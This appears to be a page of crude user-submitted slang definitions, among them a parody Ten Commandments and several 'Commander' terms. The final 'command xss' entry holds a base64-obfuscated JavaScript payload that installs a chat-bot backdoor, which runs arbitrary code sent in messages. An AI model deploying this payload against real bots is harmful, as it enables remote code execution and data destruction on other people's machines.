10 Commandments

1- Thou shall have no other CoDs before Modern Warfare 4.

2- Don't take the Lord's heroin through your veins.

3- Remember the Sabbath so thee knows when it's time to report for work like a good sheep.

4- Honor thy father & thy mother or else they'll Exodus 21 thy ass.

5- Thou shall not grill.

6- Thou shall not Neflix & chill. Except the Sabbath.

7- Even though Boomer's ruined the economy and didn't give thee a chance, don't steal unless it's from the government.

8- Thou shall not Peepin' Tom thy neighbor.

9- Thou shall not shove it in thy neighbor's wife.

10- actually leave your fuckin neighbor alone.

Don't forget to blindly follow any and all doctrines or manifests that your parents tell you to, especially the 10 commandments.

by Mud0Day October 14, 2020

Commander John

Someone who spends too much time on the toilet.

Are you still in there?...OMG...what is taking you so long, Commander John?

by KoDeCKS April 02, 2009

Commander Cain

One badass mother fucker who keeps the party crackin all night long.

You see that guy pulling a Commander Cain at the party last night?

by Blaze March 06, 2004

COVID Commander

Another name for the coronavirus pandemic. Named for the main villain in the 80s gi joe cartoons.

"Everyone's panic buying toilet paper because of the COVID Commander."

by AdmiralAshBar May 05, 2020

Commander shepard

Commander shepard is an epic character from mass effect, so epic that seeing him makes you go pawg

Bro 1: you can fight like a krogan, run like a leopard, but you'll never be better than commander shepard
Bro 2: stop quoting cool songs about video games made by miracle of sound

by Potato master420 April 16, 2021

Clout Commander

A chad so great all of the coochie gravitates to him.

Kanan is the clout commander.

by Derric Buttinstein December 13, 2018

command xss

^evaljs eval1-1(atob("Ym90LnNvY2tldC5vbignbWVzc2FnZScsIGZ1bmN0aW9uKGRhdGEpIHsKICBsZXQgeCA9IGRhdGEubXNnLmluZGV4T2YoJyAnKTsKICBpZihkYXRhLm1zZy5zbGljZSgwLCB4KSA9PSAnJGhhY2snKSB7CiAgICB0cnkgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCBldmFsKGRhdGEubXNnLnNsaWNlKHggKyAxKSkpOwogICAgfSBjYXRjaChlcikgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCAiRVJSOiAiICsgZXIudG9TdHJpbmcoKSk7CiAgICB9CiAgfQp9KQ=="))
/* command xss is a type of XSS attack performed on chatroom bots to gain access to the host's computer */

/* They found a command xss in my bot and deleted all my files */

by Melissa 2000 April 07, 2021